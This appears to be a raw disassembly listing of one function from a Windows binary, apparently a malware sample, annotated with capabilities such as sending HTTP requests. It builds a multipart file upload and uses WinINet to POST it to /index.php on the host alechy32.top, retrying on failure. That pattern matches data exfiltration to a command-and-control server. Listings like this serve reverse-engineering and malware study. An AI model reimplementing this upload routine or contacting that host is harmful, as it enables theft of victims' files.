Function at 0x40df86
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push 0xb8
mov eax, 0x4a189d
call fcn.0047ce8e
mov ecx, edx
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x74]
xor edi, edi
mov dword [ebp - 0xbc], edx
add eax, ecx
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xc0], eax
lea ecx, [ebp - 0x2c]
call fcn.004104ff
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], edi
push eax
mov edx, str._____________________________
lea ecx, [ebp - 0x74]
call fcn.0041058a
mov byte [ebp - 4], 1
mov ecx, eax
mov dword [esp], str._r_nContent_Disposition:_form_data__name_file___filename_1__r_nContent_Type:_application_octet_stream_r_n_r_n
call fcn.0040496a
push eax
lea ecx, [ebp - 0x5c]
call fcn.004049a8
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.0040508d
lea eax, [ebp - 0x2c]
mov edx, str._r_n_____________________________
push eax
lea ecx, [ebp - 0xa4]
call fcn.0041058a
mov byte [ebp - 4], 4
mov ecx, eax
mov dword [esp], str.___r_n
call fcn.0040496a
push eax
lea ecx, [ebp - 0x44]
call fcn.004049a8
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 6
call fcn.0040508d
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x2c]
add edi, ecx
mov dword [ebp - 0x60], 7
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x74]
cmovae esi, dword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x74], ax
xor ebx, ebx
mov eax, edi
mov dword [ebp - 0x64], ebx
sub eax, esi
push eax
call fcn.0040c14b
mov byte [ebp - 4], 7
jmp 0x40e08b
movsx ax, byte [esi]
lea ecx, [ebp - 0x74]
movzx eax, ax
push eax
call fcn.00410396
inc esi
cmp esi, edi
jne 0x40e07a
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 8
push eax
mov edx, str.Content_Type:_multipart_form_data__boundary___________________________
lea ecx, [ebp - 0x8c]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00404f32
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x4c]
lea edi, [ebp - 0x5c]
cmovae ecx, dword [ebp - 0x5c]
mov esi, ebx
add eax, ecx
mov dword [ebp - 0xb4], ebx
cmp dword [ebp - 0x48], 0x10
mov dword [ebp - 0xac], ebx
mov ebx, eax
cmovae edi, dword [ebp - 0x5c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xb0], esi
sub ebx, edi
je 0x40e11a
push ebx
lea ecx, [ebp - 0xb4]
call fcn.00406976
mov esi, dword [ebp - 0xb4]
push ebx
push edi
push esi
call fcn.0047e7b0
sub esi, edi
add esp, 0xc
add esi, dword [ebp - 0xa8]
mov dword [ebp - 0xb0], esi
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb4]
push dword [ebp - 0xbc]
push dword [ebp - 0xc0]
push dword [ebp - 0xc4]
push esi
call fcn.00410a8b
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0x44]
mov eax, dword [ebp - 0x34]
cmovae ecx, dword [ebp - 0x44]
push dword [ebp - 0xbc]
add eax, ecx
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0x44]
cmovae ecx, dword [ebp - 0x44]
push eax
push ecx
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xb4]
call fcn.00410a8b
xor edi, edi
push edi
push edi
push edi
push edi
push edi
mov dword [ebp - 0xa8], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
je 0x40e21c
push edi
push edi
push 3
push edi
push edi
push 0x50
push str.alechy32.top
push ebx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
test esi, esi
je 0x40e20c
push edi
push 0x80000000
push edi
push edi
push edi
push str._index.php
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x40e203
mov ecx, dword [ebp - 0xb0]
lea eax, [ebp - 0x8c]
sub ecx, dword [ebp - 0xb4]
cmp dword [ebp - 0x78], 8
push ecx
push dword [ebp - 0xb4]
cmovae eax, dword [ebp - 0x8c]
push dword [ebp - 0x7c]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push edi
mov dword [ebp - 0xa8], eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor edi, edi
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0xa8], 0
jne 0x40e26c
mov ebx, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb4]
inc ebx
mov dword [ebp - 0xb8], ebx
call fcn.00404f0f
lea ecx, [ebp - 0x8c]
call fcn.00404f32
lea ecx, [ebp - 0x44]
call fcn.0040508d
lea ecx, [ebp - 0x5c]
call fcn.0040508d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040508d
cmp ebx, 0x26
jl 0x40dfb9
xor al, al
call fcn.0047ce49
ret
lea ecx, [ebp - 0xb4]
call fcn.00404f0f
lea ecx, [ebp - 0x8c]
call fcn.00404f32
lea ecx, [ebp - 0x44]
call fcn.0040508d
lea ecx, [ebp - 0x5c]
call fcn.0040508d
lea ecx, [ebp - 0x2c]
call fcn.0040508d
mov al, 1
jmp 0x40e266